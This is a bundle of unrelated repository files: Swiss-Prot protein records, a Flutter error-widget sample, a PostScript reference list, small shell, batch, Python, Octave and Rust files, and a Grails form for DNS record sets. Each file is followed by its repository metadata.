SANLEFAEPY GQGLTAAEVE QCICPPGYVG TSCEDCAPGY SRTGGGLYLG LCEKCECNGH
ASQCDKEYGY CLDCQHNTEG DQCERCKPGF VGDARRGTPN DCQPEATRAP CHCNNHSPRG
CDSFGRCLLC EHNTEGTHCE RCKKGYYGDA TKGSPYDCTP CPCPGASDCY LDNEGQVACR
ICPAGLQGRL CNECAPGYTR SNKPAGRVCE PIGQVTNEDI TFVQKPHEVL RVRIMEPKRQ
IALPGDRVHW ICQVTGYTTE KIHVEWTKVG EMSLPPNAKA YDGYLVLKGV EAENAGQYRC
TATTITQYAT DDALLTISKR ISGRPPQPVI DPPHLVVNEG EPAAFRCWVP GIPDCQITWH
REQLGGPLPH GVYQTGNALK IPQSQLHHAG RYICSAANQY GTGQSPPAVL EVKKPVIPPK
VDPIRQTVDR DQPARFKCWV PGNSNVQLRW SRPGGAPLPS GVQEQQGILH IPRASDQEVG
QYVCTATDPS DNTPLQSEPV QLNIRDPAPP QRGAAPQIDP PNQTVNVNDP AQFRCWVPGQ
PRAQLKWSRK DGRPLPNGIL ERDGFLRIDK SQLHDAGEYE CTSTEPDGST QLSPPARLNV
NQPQAIQPQV DPPVQTVNEG EPSRIRCWVP GHPNIQLQFV KRGRRPLPAH ARFSQGNLEI
PRTLKSDEDE YICIATDPTT NRPVESNPAR VIVKSPIRPI IDPAEQTVPE GSPFKIRCYV
PGHPSVQLTF RRVSGQLNED ADENNGLLAV QRAELTDEGD YICTARDPDT GAPIDSTPAT
VHVTNAAAPP QVEARPPQHP VITPQTQTIP EGDPARIQCT VPGNPSAAQH LSFERVDGKG
LPFGSSDDRG VLTIPSTQLQ DAGEYVCLYS PENSPPVKTN PSTLNVTPEG TPPRPVATPP
LLSVAPGSPA RFNCVAHSDT PARIRWGFRE ENGPLPEHVN QDGDDIVISE AGDRNVGEYV
CSATNDFGTG VADPVRLEVT EDQEPPTAVV EPRTWNGKPG ERHQFRCITT GSPTPKITWT
GPNGSPLPHD VTPLEPNILD FSNGRSELNG DYTCTASNPI GEASDHGNVN IGPSLTVKTN
PPGPKLIVTV GEPLQVKCEA FGAPGDPEPE VEWLHDPGPE RGDLPDDFKP VTISEQFIRH
PNVGLGNAGV YTCKGSSAHA TATKNIYIEV VEPSRIATVS ILGGSSQWFD QGEKGELICT
ATGSSLVDRL EWEKVDDQLP TDVEEHNEPG LLHFPSFKNS YAGEYRCNGY RNNEIIASAA
VHVHSSANAD DEPKVEIEPP RVRVVSQGDN IVLKCSVQGA ENGEHFKWAL LRGGSLVRQL
GTEPTLEITK ADPSNDFGVY RCNVEDNNGL VIGSAFTAVS VGQQDKSHAQ IVKFDDKSDA
SFTCPIYSVP GSKVDWTYEN GDLPSKAVPN GNKIEIKEFD DASAGTYVCK VSFDGNVVEG
FVTAQMFVPD TIIQVLLEVS SESPQIGDRA WFDCKVTGDP SAVISWTKEG NDDLPPNAQV
TGGRLLFTDL KEDNAGVYRC VAKTKAGPLQ TRTVLNVGSG KQDQVTFTVA DSLPVVYTVG
QPAYLSCIGK TETKPNQSVV WTKEEGDLPS GSRVEQGVLM LPSVHRDDEG SYTCEIVKEE
NPVFSTVDLQ IDDFIPVIDG EPIELPPLSD EEIVNLDIEI TLNTANPKGI IFETKRINSG
DLLATPYDTI HHEAKITDYG TVLYEFDIGN GRQIVETTNP INPNEWNVIK IKNDKNQVTI
QLNDESATIR QHTNPLPSLS TGVNRPVFIG GRHEPTNEAN DFRGIISQVV LSGHNVGLGD
ARIPSSVVKY DACASTNLCL NGANCRNANN HHGFSCECAE EFHGEYCQWR SNSCHDESCN
TGICLDNEES WQCVCPLGTT GLRCEEKTEI PQPLGFTSDT SFLAVKRPVK FESIKMKLRP
QADSDEHILM YFASDYGSNT KQYTSLSLIA NQVVLTVRRP DKEVQKIRSE TLEAGELIDV
AVRQAGNALV MTVDGNQVST IETDTLKPGT EIFIGGLPPG LNSPDDVVEQ SFQGCVYEIL
INSQDVDLQN LSSSGDISSC EESQFPVEED DTTTTTTTEE PEAVIEEPTT EEPTTTEEPI
TEEPTEEPTT TEEPTTTEEP TTTTEEPTTT TTEEPYHIYE TSRDDDPEII IPVETTTTST
TTTSTTEEPE AEPALVLPTD PVEENDVSDE EEEISTISTV SPDNGLDSDS DYSEGTLPPD
SSSEEIVVGD VYSTQEPNNI CANSTCGMNG QCVPRNMTHY TCECKLYYDG PTCSLFKPIE
HAARFDGDAF IELSSDEFPH LTSEKDEIVA FKFKTEQQNG VLLWQGQRPT VQQMEDYISV
GIVNGHLHFS YELGGGAAHL ISEERVDDGK EHSVRFERKG REGQMRIDNY REVDGRSTGI
LAMLNVDGNI FVGGVPDISK ATGGLFSNNF VGCIADVELN GVKLDLMATA IDGKNVKPCD
EWMHRKRWLY RRRVR
//
ID UNC97_CAEEL Reviewed; 348 AA.
AC P50464;
DT 01-OCT-1996, integrated into UniProtKB/Swiss-Prot.
DT 01-OCT-1996, sequence version 1.
DT 07-SEP-2016, entry version 121.
DE RecName: Full=LIM domain-containing protein unc-97;
DE AltName: Full=PINCH homolog;
DE AltName: Full=Uncoordinated protein 97;
GN Name=unc-97; ORFNames=F14D12.2;
OS Caenorhabditis elegans.
OC Eukaryota; Metazoa; Ecdysozoa; Nematoda; Chromadorea; Rhabditida;
OC Rhabditoidea; Rhabditidae; Peloderinae; Caenorhabditis.
OX NCBI_TaxID=6239;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA].
RC STRAIN=Bristol N2;
RX PubMed=9885243; DOI=10.1083/jcb.144.1.45;
RA Hobert O., Moerman D.G., Clark K.A., Beckerle M.C., Ruvkun G.;
RT "A conserved LIM protein that affects muscular adherens junction
RT integrity and mechanosensory function in Caenorhabditis elegans.";
RL J. Cell Biol. 144:45-57(1999).
RN [2]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=Bristol N2;
RX PubMed=9851916; DOI=10.1126/science.282.5396.2012;
RG The C. elegans sequencing consortium;
RT "Genome sequence of the nematode C. elegans: a platform for
RT investigating biology.";
RL Science 282:2012-2018(1998).
RN [3]
RP INTERACTION WITH UNC-98.
RX PubMed=12808046; DOI=10.1091/mbc.E02-10-0676;
RA Mercer K.B., Flaherty D.B., Miller R.K., Qadota H., Tinley T.L.,
RA Moerman D.G., Benian G.M.;
RT "Caenorhabditis elegans UNC-98, a C2H2 Zn finger protein, is a novel
RT partner of UNC-97/PINCH in muscle adhesion complexes.";
RL Mol. Biol. Cell 14:2492-2507(2003).
CC -!- FUNCTION: Probably function in adherens junction. Affects the
CC structural integrity of the integrin containing muscle adherens
CC junctions and contributes to the mechanosensory functions of touch
CC neurons.
CC -!- SUBUNIT: Interacts with unc-98. {ECO:0000269|PubMed:12808046}.
CC -!- INTERACTION:
CC Q09497:rsu-1; NbExp=5; IntAct=EBI-319593, EBI-319599;
CC -!- SUBCELLULAR LOCATION: Cell junction, adherens junction. Nucleus.
CC -!- TISSUE SPECIFICITY: Restricted to tissue types that attach to the
CC hypodermis, specifically body wall muscles, vulval muscles, and
CC mechanosensory neurons.
CC -!- SIMILARITY: Contains 5 LIM zinc-binding domains.
CC {ECO:0000255|PROSITE-ProRule:PRU00125}.
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DR EMBL; AF035583; AAD09435.1; -; mRNA.
DR EMBL; FO080820; CCD83467.1; -; Genomic_DNA.
DR PIR; T16076; T16076.
DR RefSeq; NP_508943.3; NM_076542.5.
DR UniGene; Cel.19566; -.
DR ProteinModelPortal; P50464; -.
DR SMR; P50464; 14-317.
DR BioGrid; 45760; 8.
DR DIP; DIP-24818N; -.
DR IntAct; P50464; 5.
DR MINT; MINT-1050203; -.
DR STRING; 6239.F14D12.2.1; -.
DR EPD; P50464; -.
DR PaxDb; P50464; -.
DR EnsemblMetazoa; F14D12.2.1; F14D12.2.1; WBGene00006826.
DR EnsemblMetazoa; F14D12.2.2; F14D12.2.2; WBGene00006826.
DR GeneID; 180827; -.
DR KEGG; cel:CELE_F14D12.2; -.
DR UCSC; F14D12.2.1; c. elegans.
DR CTD; 180827; -.
DR WormBase; F14D12.2; CE04392; WBGene00006826; unc-97.
DR eggNOG; KOG2272; Eukaryota.
DR eggNOG; ENOG410XP46; LUCA.
DR GeneTree; ENSGT00760000118910; -.
DR HOGENOM; HOG000253950; -.
DR InParanoid; P50464; -.
DR OMA; HFNCTAC; -.
DR OrthoDB; EOG091G08K3; -.
DR PhylomeDB; P50464; -.
DR Reactome; R-CEL-446388; Regulation of cytoskeletal remodeling and cell spreading by IPP complex components.
DR PRO; PR:P50464; -.
DR Proteomes; UP000001940; Chromosome X.
DR Bgee; WBGene00006826; -.
DR GO; GO:0005912; C:adherens junction; IDA:WormBase.
DR GO; GO:0009925; C:basal plasma membrane; IDA:WormBase.
DR GO; GO:0031430; C:M band; IDA:WormBase.
DR GO; GO:0005654; C:nucleoplasm; IDA:WormBase.
DR GO; GO:0005634; C:nucleus; IDA:WormBase.
DR GO; GO:0055120; C:striated muscle dense body; IDA:UniProtKB.
DR GO; GO:0017022; F:myosin binding; IPI:UniProtKB.
DR GO; GO:0008270; F:zinc ion binding; IEA:InterPro.
DR GO; GO:0045216; P:cell-cell junction organization; IMP:WormBase.
DR GO; GO:0007517; P:muscle organ development; IMP:WormBase.
DR GO; GO:0050954; P:sensory perception of mechanical stimulus; IMP:WormBase.
DR Gene3D; 2.10.110.10; -; 5.
DR InterPro; IPR017351; PINCH.
DR InterPro; IPR001781; Znf_LIM.
DR PANTHER; PTHR24210; PTHR24210; 1.
DR Pfam; PF00412; LIM; 5.
DR PIRSF; PIRSF038003; PINCH; 1.
DR SMART; SM00132; LIM; 5.
DR PROSITE; PS00478; LIM_DOMAIN_1; 4.
DR PROSITE; PS50023; LIM_DOMAIN_2; 5.
PE 1: Evidence at protein level;
KW Cell junction; Complete proteome; LIM domain; Metal-binding; Nucleus;
KW Reference proteome; Repeat; Zinc.
FT CHAIN 1 348 LIM domain-containing protein unc-97.
FT /FTId=PRO_0000075909.
FT DOMAIN 21 73 LIM zinc-binding 1. {ECO:0000255|PROSITE-
FT ProRule:PRU00125}.
FT DOMAIN 82 132 LIM zinc-binding 2. {ECO:0000255|PROSITE-
FT ProRule:PRU00125}.
FT DOMAIN 146 196 LIM zinc-binding 3. {ECO:0000255|PROSITE-
FT ProRule:PRU00125}.
FT DOMAIN 205 255 LIM zinc-binding 4. {ECO:0000255|PROSITE-
FT ProRule:PRU00125}.
FT DOMAIN 264 315 LIM zinc-binding 5. {ECO:0000255|PROSITE-
FT ProRule:PRU00125}.
SQ SEQUENCE 348 AA; 40308 MW; 0CD22C39628ECEDA CRC64;
MDSDHNHING DLAHGFENMV CVRCNDGFSM QDQMVNSSGQ VWHSECFVCA QCFEPFPDGI
YFEYEGRKYC EHDFHVLFSP CCGKCNEFIV GRVIKAMNAS WHPGCFCCEI CNKQLADVGF
LRNAGRALCR ECNEREKAAG HGRYVCHKCH AMIDDGQHIK FRGDSFHPYH FKCKRCNNEL
TTASREVNGE LYCLRCHDTM GIPICGACHR PIEERVIAAL GKHWHVEHFV CSVCEKPFLG
HRHYERKGLP YCEQHFHKLF GNLCFKCGDP CCGEVFQALQ KTWCVKCFSC SFCDKKLDQK
TKFYEFDMKP TCKRCYDRFP TELKKRISES LKDRDVENQR RSMSPGPK
//
ID PA2BC_CROOL Reviewed; 47 AA.
AC C0HK05;
DT 08-JUN-2016, integrated into UniProtKB/Swiss-Prot.
DT 08-JUN-2016, sequence version 1.
DT 07-SEP-2016, entry version 3.
DE RecName: Full=Basic phospholipase A2 ColTx-1 {ECO:0000305|PubMed:26996495};
DE Short=svPLA2 {ECO:0000250|UniProtKB:P14421};
DE EC=3.1.1.4 {ECO:0000269|PubMed:26996495};
DE AltName: Full=Basic phospholipase A2 ColTx-I {ECO:0000303|PubMed:26996495};
DE AltName: Full=Phosphatidylcholine 2-acylhydrolase {ECO:0000250|UniProtKB:P14421};
DE Flags: Fragment;
OS Crotalus oreganus lutosus (Great basin rattlesnake) (Crotalus viridis
OS lutosus).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Lepidosauria; Squamata; Bifurcata; Unidentata; Episquamata;
OC Toxicofera; Serpentes; Colubroidea; Viperidae; Crotalinae; Crotalus.
OX NCBI_TaxID=332626 {ECO:0000303|PubMed:26996495};
RN [1] {ECO:0000305}
RP PROTEIN SEQUENCE, FUNCTION, CATALYTIC ACTIVITY, COFACTOR, ENZYME
RP REGULATION, BIOPHYSICOCHEMICAL PROPERTIES, SUBCELLULAR LOCATION, MASS
RP SPECTROMETRY, AND IDENTIFICATION BY MASS SPECTROMETRY.
RC TISSUE=Venom {ECO:0000303|PubMed:26996495};
RX PubMed=26996495; DOI=10.1016/j.toxicon.2016.03.008;
RA Almeida J.R., Resende L.M., Silva A.G., Ribeiro R.I., Stabeli R.G.,
RA Soares A.M., Calderon L.A., Marangoni S., Da Silva S.L.;
RT "Biochemical and functional studies of ColTx-I, a new myotoxic
RT phospholipase A2 isolated from Crotalus oreganus lutosus (Great Basin
RT rattlesnake) snake venom.";
RL Toxicon 117:1-12(2016).
CC -!- FUNCTION: Snake venom phospholipase A2 (PLA2) that shows edema-
CC inducing activity and local and systemic myotoxicity. PLA2
CC catalyzes the calcium-dependent hydrolysis of the 2-acyl groups in
CC 3-sn-phosphoglycerides. {ECO:0000269|PubMed:26996495}.
CC -!- CATALYTIC ACTIVITY: Phosphatidylcholine + H(2)O = 1-
CC acylglycerophosphocholine + a carboxylate.
CC {ECO:0000269|PubMed:26996495}.
CC -!- COFACTOR:
CC Name=Ca(2+); Xref=ChEBI:CHEBI:29108;
CC Evidence={ECO:0000269|PubMed:26996495};
CC Note=Binds 1 Ca(2+) ion. {ECO:0000250|UniProtKB:P14421};
CC -!- ENZYME REGULATION: In the presence of Ca(2+) ions, activated by
CC Mn(2+) or Mg(2+) ions. Inhibited by Cd(2+) or Zn(2+) ions.
CC Inhibited by metal chelators EDTA and EGTA.
CC {ECO:0000269|PubMed:26996495}.
CC -!- BIOPHYSICOCHEMICAL PROPERTIES:
CC Kinetic parameters:
CC KM=8.09 mM for 4-nitro-3-octanoyl benzioc acid (NOBA)
CC {ECO:0000269|PubMed:26996495};
CC Vmax=15.97 nmol/min/mg enzyme with NOBA as substrate
CC {ECO:0000269|PubMed:26996495};
CC pH dependence:
CC Optimum pH is 8.0. {ECO:0000269|PubMed:26996495};
CC Temperature dependence:
CC Optimum temperature is 37 degrees Celsius.
CC {ECO:0000269|PubMed:26996495};
CC -!- SUBCELLULAR LOCATION: Secreted {ECO:0000269|PubMed:26996495}.
CC -!- TISSUE SPECIFICITY: Expressed by the venom gland.
CC {ECO:0000305|PubMed:26996495}.
CC -!- MASS SPECTROMETRY: Mass=14145; Method=MALDI; Range=1-?;
CC Evidence={ECO:0000269|PubMed:26996495};
CC -!- SIMILARITY: Belongs to the phospholipase A2 family. Group II
CC subfamily. D49 sub-subfamily. {ECO:0000305}.
CC -----------------------------------------------------------------------
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DR GO; GO:0005576; C:extracellular region; IEA:UniProtKB-SubCell.
DR GO; GO:0005509; F:calcium ion binding; IEA:InterPro.
DR GO; GO:0004623; F:phospholipase A2 activity; IEA:UniProtKB-EC.
DR GO; GO:0016042; P:lipid catabolic process; IEA:UniProtKB-KW.
DR Gene3D; 1.20.90.10; -; 1.
DR InterPro; IPR001211; PLipase_A2.
DR InterPro; IPR016090; PLipase_A2_dom.
DR PANTHER; PTHR11716; PTHR11716; 1.
DR Pfam; PF00068; Phospholip_A2_1; 1.
DR PRINTS; PR00389; PHPHLIPASEA2.
DR SMART; SM00085; PA2c; 1.
DR SUPFAM; SSF48619; SSF48619; 1.
PE 1: Evidence at protein level;
KW Calcium; Direct protein sequencing; Disulfide bond; Hydrolase;
KW Lipid degradation; Lipid metabolism; Metal-binding; Myotoxin;
KW Secreted; Toxin.
FT CHAIN 1 >47 Basic phospholipase A2 ColTx-1.
FT {ECO:0000269|PubMed:26996495}.
FT /FTId=PRO_0000436391.
FT ACT_SITE 47 47 {ECO:0000250|UniProtKB:P14421}.
FT METAL 27 27 Calcium; via carbonyl oxygen.
FT {ECO:0000250|UniProtKB:P14421}.
FT METAL 29 29 Calcium; via carbonyl oxygen.
FT {ECO:0000250|UniProtKB:P14421}.
FT METAL 31 31 Calcium; via carbonyl oxygen.
FT {ECO:0000250|UniProtKB:P14421}.
FT DISULFID 26 ? {ECO:0000250|UniProtKB:P14421}.
FT DISULFID 28 44 {ECO:0000250|UniProtKB:P14421}.
FT DISULFID 43 ? {ECO:0000250|UniProtKB:P14421}.
FT NON_TER 47 47 {ECO:0000269|PubMed:26996495}.
SQ SEQUENCE 47 AA; 5547 MW; DEA0265435675F6E CRC64;
HLLQFNKMIK FETRKNAIPF YAFYGCYCGW GGRGRPKDAT DRCCFVH
//
| TXL | 1 | kp14/biocuration | tests/SwissProt/many_sp_entries.txl | [
"Unlicense"
] |
GalaxyID,x,y,e1,e2
Galaxy1,1595.85,2103.81,-0.140499,0.477996
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| CSV | 2 | jColeChanged/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers | Chapter5_LossFunctions/data/Train_Skies/Train_Skies/Training_Sky130.csv | [
"MIT"
] |
// Copyright 2014 The Flutter Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flutter code sample for ErrorWidget
import 'package:flutter/material.dart';
void main() {
// Set the ErrorWidget's builder before the app is started.
ErrorWidget.builder = (FlutterErrorDetails details) {
// This is how to tell if you're in debug mode: Assertions are only executed in
// debug mode.
bool inDebug = false;
assert(() {
inDebug = true;
return true;
}());
// If we're in debug mode, use the normal error widget which shows the error
// message:
if (inDebug) {
return ErrorWidget(details.exception);
}
// In release builds, show a yellow-on-blue message instead:
return Container(
alignment: Alignment.center,
child: Text(
'Error!\n${details.exception}',
style: const TextStyle(color: Colors.yellow),
textAlign: TextAlign.center,
textDirection: TextDirection.ltr,
),
);
};
// Start the app.
runApp(const MyApp());
}
class MyApp extends StatefulWidget {
const MyApp({Key? key}) : super(key: key);
static const String _title = 'ErrorWidget Sample';
@override
State<MyApp> createState() => _MyAppState();
}
class _MyAppState extends State<MyApp> {
bool throwError = false;
@override
Widget build(BuildContext context) {
if (throwError) {
// Since the error widget is only used during a build, in this contrived example,
// we purposely throw an exception in a build function.
return Builder(
builder: (BuildContext context) {
throw Exception('oh no, an error');
},
);
} else {
return MaterialApp(
title: MyApp._title,
home: Scaffold(
appBar: AppBar(title: const Text(MyApp._title)),
body: Center(
child: TextButton(
onPressed: () {
setState(() { throwError = true; });
},
child: const Text('Error Prone')),
),
),
);
}
}
}
| Dart | 5 | devansh12b2/flutter | examples/api/lib/widgets/framework/error_widget.0.dart | [
"BSD-3-Clause"
] |
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%%EndProcSet
%%BeginProcSet: special.pro
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b(P)n(art-of-sp)r(eec)n(h)35 b(assignmen)n(t)h(b)n(y)h(a)137
5063 y(statistical)j(decision)f(algorithm.)71 b Fo(IEEE)41
b(International)g(Symp)l(osium)h(on)e(Information)i(The)l(ory)p
Fq(,)i(pages)137 5162 y(88{89.)p eop
%%Page: 9 9
9 8 bop 50 241 a Fq([Brill,)27 b(1993])40 b(Brill,)33
b(E.)f(\(1993\).)49 b Fo(A)34 b(Corpus-Base)l(d)i(Appr)l(o)l(ach)f(T)-6
b(o)35 b(L)l(anguage)f(L)l(e)l(arning)p Fq(.)51 b(PhD)33
b(thesis,)g(De-)137 340 y(partmen)n(t)28 b(of)f(Computer)h(and)f
(Information)g(Science,)h(Univ)n(ersit)n(y)e(of)i(P)n(ennsylv)-5
b(ania.)50 506 y([Ch)n(urc)n(h,)27 b(1988])39 b(Ch)n(urc)n(h,)23
b(K.)g(W.)g(\(1988\).)28 b(A)c(sto)r(c)n(hastic)e(parts)g(program)f
(and)h(noun)h(phrase)f(parser)f(for)i(unre-)137 606 y(stricted)29
b(text.)39 b(In)29 b Fo(Pr)l(o)l(c)l(e)l(e)l(dings)i(of)h(the)e(Se)l(c)
l(ond)h(Confer)l(enc)l(e)g(on)g(Applie)l(d)h(Natur)l(al)e(L)l(anguage)h
(Pr)l(o)l(c)l(essing)p Fq(,)137 706 y(pages)c(136{143.)50
872 y([Cutting)h(et)g(al.,)f(1992])40 b(Cutting,)26 b(D.,)h(Kupiec,)f
(J.,)g(P)n(edersen,)e(J.,)i(and)g(Sibun,)h(P)-7 b(.)25
b(\(1992\).)32 b(A)26 b(practical)f(part-)137 971 y(of-sp)r(eec)n(h)c
(tagger.)i(In)e Fo(Pr)l(o)l(c)l(e)l(e)l(dings)k(of)f(the)g(Thir)l(d)g
(Confer)l(enc)l(e)h(on)e(Applie)l(d)i(Natur)l(al)e(L)l(anguage)h(Pr)l
(o)l(c)l(essing)p Fq(,)137 1071 y(pages)j(133{140.)50
1237 y([DeRose,)g(1988])40 b(DeRose,)22 b(S.)g(J.)g(\(1988\).)k
(Grammatical)20 b(category)g(disam)n(biguation)g(b)n(y)i(statistical)f
(optimiza-)137 1337 y(tion.)37 b Fo(Computational)32
b(Linguistics)p Fq(,)c(14\(1\).)50 1503 y([F)-7 b(ederici)27
b(and)h(Pirrelli,)e(1994])40 b(F)-7 b(ederici,)33 b(S.)g(and)g
(Pirrelli,)f(V.)h(\(1994\).)50 b(Con)n(text-sensitivit)n(y)32
b(and)g(linguistic)137 1602 y(structure)c(in)g(analogy-based)e
(parallel)h(net)n(w)n(orks.)37 b Fo(Curr)l(ent)29 b(Issues)h(in)g
(Mathematic)l(al)i(Linguistics)p Fq(,)d(pages)137 1702
y(353{362.)50 1868 y([Greene)e(and)g(Rubin,)i(1971])39
b(Greene,)24 b(B.)g(and)f(Rubin,)i(G.)f(\(1971\).)29
b(Automatic)24 b(grammatical)e(tagging)g(of)h(en-)137
1968 y(glish.)35 b(T)-7 b(ec)n(hnical)26 b(rep)r(ort,)g(Departmen)n(t)h
(of)f(Linguistics,)h(Bro)n(wn)e(Univ)n(ersit)n(y)-7 b(,)26
b(Pro)n(vidence,)f(Rho)r(de)h(Island.)50 2134 y([Kemp)r(e,)i(1993])39
b(Kemp)r(e,)22 b(A.)e(\(1993\).)j(A)d(probabilistic)f(tagger)f(and)i
(an)g(analysis)e(of)i(tagging)f(errors.)j(T)-7 b(ec)n(hnical)137
2233 y(rep)r(ort,)27 b(Institut)i(f)r(\177)-44 b(ur)28
b(masc)n(hinelle)f(Sprac)n(h)n(v)n(erarb)r(eitung,)d(Univ)n(ersit\177)
-42 b(at)27 b(Stuttgart.)50 2399 y([Nak)-5 b(am)n(ura)26
b(et)i(al.,)f(1990])40 b(Nak)-5 b(am)n(ura,)41 b(M.,)h(Maruy)n(ama,)e
(K.,)i(Ka)n(w)n(abata,)e(T.,)i(and)d(Shik)-5 b(ano,)42
b(K.)d(\(1990\).)137 2499 y(Neural)d(net)n(w)n(ork)e(approac)n(h)g(to)i
(w)n(ord)f(category)e(prediction)j(for)f(english)h(texts.)61
b(In)36 b(Karlgren,)g(H.,)i(edi-)137 2599 y(tor,)d Fo(Pr)l(o)l(c)l(e)l
(e)l(dings)h(of)f(the)h(International)f(Confer)l(enc)l(e)h(on)f
(Computational)i(Linguistics)p Fq(,)e(pages)d(213{218,)137
2698 y(Helsinki)c(Univ)n(ersit)n(y)-7 b(.)50 2864 y([Quinlan,)27
b(1983])40 b(Quinlan,)29 b(J.)g(R.)h(\(1983\).)41 b(Learning)28
b(e\016cien)n(t)h(classi\014cation)f(pro)r(cedures)g(and)h(their)h
(appli-)137 2964 y(cation)j(to)f(c)n(hess)g(end)h(games.)52
b(In)33 b(Mic)n(halski,)g(R.,)h(Carb)r(onell,)g(J.,)g(and)e(Mitc)n
(hell,)j(T.,)f(editors,)f Fo(Machine)137 3064 y(L)l(e)l(arning:)k(A)n
(n)23 b(arti\014cial)j(intel)t(ligenc)l(e)g(appr)l(o)l(ach)p
Fq(,)f(pages)c(463{482.)d(Morgan)i(Kaufmann,)j(San)e(Mateo,)i(CA.)50
3230 y([Sc)n(hmid,)28 b(1994])39 b(Sc)n(hmid,)29 b(H.)g(\(1994\).)37
b(P)n(art-of-sp)r(eec)n(h)26 b(tagging)h(with)h(neural)g(net)n(w)n
(orks.)37 b(In)28 b Fo(Pr)l(o)l(c)l(e)l(e)l(dings)j(of)137
3329 y(the)f(International)g(Confer)l(enc)l(e)h(on)f(Computational)h
(Linguistics)p Fq(,)d(pages)f(172{176,)d(Ky)n(oto,)i(Japan.)50
3495 y([Viterbi,)i(1967])39 b(Viterbi,)32 b(A.)e(J.)g(\(1967\).)43
b(Error)28 b(b)r(ounds)i(for)g(con)n(v)n(olutional)e(co)r(des)h(and)h
(an)g(asymptotically)137 3595 y(optimal)e(deco)r(ding)f(algorithm.)36
b Fo(IEEE)30 b(T)-6 b(r)l(ansactions)31 b(on)e(Information)i(The)l(ory)
p Fq(,)f(pages)c(260{269.)p eop
%%Trailer
end
userdict /end-hook known{end-hook}if
%%EOF
| PostScript | 3 | jessiepyx/AutoPhrase | tools/treetagger/doc/nemlap94.ps | [
"Apache-2.0"
] |
#!/usr/bin/env bash
set -euo pipefail
main() {
echo 'Installing VS Code dependencies...'
cd modules/code-oss-dev
yarn install --frozen-lockfile
}
main "$@"
| Shell | 3 | mia-cx/code-server-npm | vendor/postinstall.sh | [
"MIT"
] |
@echo off
rem run clang-format on c++ files
powershell -noprofile "import-module %OPENCON_TOOLS%\openconsole.psm1; Invoke-CodeFormat"
| Batchfile | 3 | RifasM/terminal | tools/runformat.cmd | [
"MIT"
] |
""" Write a method/function DISPLAYWORDS() in python to read lines
from a text file STORY.TXT,
using read function
and display those words, which are less than 4 characters. """
F=open("story.txt","r")
value=F.read()
lines=value.split()
count=0
for i in lines:
if len(i)<4:
print(i)
count+=1
else:
pass
print("The total number of words with length less than 4 are",count)
| Python | 3 | sulphatet/Python | 1 File handle/File handle text/question 2.py | [
"MIT"
] |
x = load('weights.txt');
lx = log(x);
lxmin = min(lx);
lxmax = max(lx);
N = 100;
hist(lx,N);
grid on;
print('hist.png');
| Octave | 3 | skroon/dsmic-oakfoam | scripts/general/weights.oct | [
"BSD-2-Clause"
] |
// run-pass
// Check that constant expressions can be used for declaring the
// type of a fixed length vector.
// pretty-expanded FIXME #23616
pub fn main() {
const FOO: usize = 2;
let _v: [isize; FOO*3];
}
| Rust | 4 | Eric-Arellano/rust | src/test/ui/consts/const-expr-in-fixed-length-vec.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
<%--
Copyright 2013 Netflix, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
--%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta name="layout" content="main"/>
<title>Add Resource Record Set</title>
</head>
<body>
<div class="body">
<h1>Add Resource Record Set</h1>
<g:if test="${flash.message}">
<div class="message">${flash.message}</div>
</g:if>
<g:hasErrors bean="${cmd}">
<div class="errors">
<g:renderErrors bean="${cmd}" as="list"/>
</div>
</g:hasErrors>
<g:form action="addResourceRecordSet" method="post" class="validate allowEnterKey">
<div>
<table>
<tbody valign="top">
<tr class="prop">
<td class="name">Hosted Zone:</td>
<td class="value"><g:linkObject type="hostedZone" name="${hostedZoneId}"/></td>
</tr>
<tr class="prop">
<td class="name">
<label for="type">Type:</label>
</td>
<td class="value">
<g:select name="type" from="${types}" value="${params.type}" noSelection="['':'']"/>
</td>
</tr>
<tr class="prop">
<td class="name">
<label for="resourceRecordSetName">Resource Record Set Name:</label>
</td>
<td class="longInput">
<g:textField name="resourceRecordSetName" value="${params.resourceRecordSetName}"/>
</td>
</tr>
<tr class="prop">
<td class="name">
<label for="resourceRecords">Resource Records:</label>
</td>
<td class="longInput">
<g:textArea name="resourceRecords" value="${params.resourceRecords}"/>
</td>
</tr>
<tr class="prop">
<td class="name">
<label for="ttl">Time to live (TTL) in seconds:</label>
</td>
<td>
<g:textField name="ttl" value="${params.ttl}"/>
</td>
</tr>
<tr class="prop">
<td class="name">
<label for="resourceRecordSetRegion">Region:</label>
</td>
<td class="value">
<g:select name="resourceRecordSetRegion" from="${resourceRecordSetRegions}" value="${params.resourceRecordSetRegion}" noSelection="['':'']"/>
</td>
</tr>
<tr class="prop">
<td class="name">
<label for="weight">Weight:</label>
</td>
<td class="value">
<g:textField name="weight" value="${params.weight}"/>
</td>
</tr>
<tr class="prop">
<td class="name">
<label for="failover">Failover:</label>
</td>
<td class="value">
<g:select name="failover" from="${failoverValues}" value="${params.failover}" noSelection="['':'']"/>
</td>
</tr>
<tr class="prop">
<td class="name">
<label for="comment">Comment:</label>
</td>
<td class="longInput">
<g:textField name="comment" value="${params.comment}"/>
</td>
</tr>
<tr class="prop">
<td class="name">
<label for="setIdentifier">Set Identifier:</label>
</td>
<td class="value">
<g:textField name="setIdentifier" value="${params.setIdentifier}"/>
</td>
</tr>
<tr class="prop">
<td class="name">
<label for="aliasTarget">Alias Target:</label>
</td>
<td class="longInput">
<g:textField name="aliasTarget" value="${params.aliasTarget}"/>
</td>
</tr>
<tr class="prop">
<td class="name">
<label for="healthCheckId">Health Check Id:</label>
</td>
<td class="longInput">
<g:textField name="healthCheckId" value="${params.healthCheckId}"/>
</td>
</tr>
</tbody>
</table>
</div>
<div class="buttons">
<input type="hidden" name="hostedZoneId" value="${hostedZoneId}"/>
<g:buttonSubmit class="save" action="addResourceRecordSet">Add Resource Record Set</g:buttonSubmit>
</div>
</g:form>
</div>
</body>
</html>
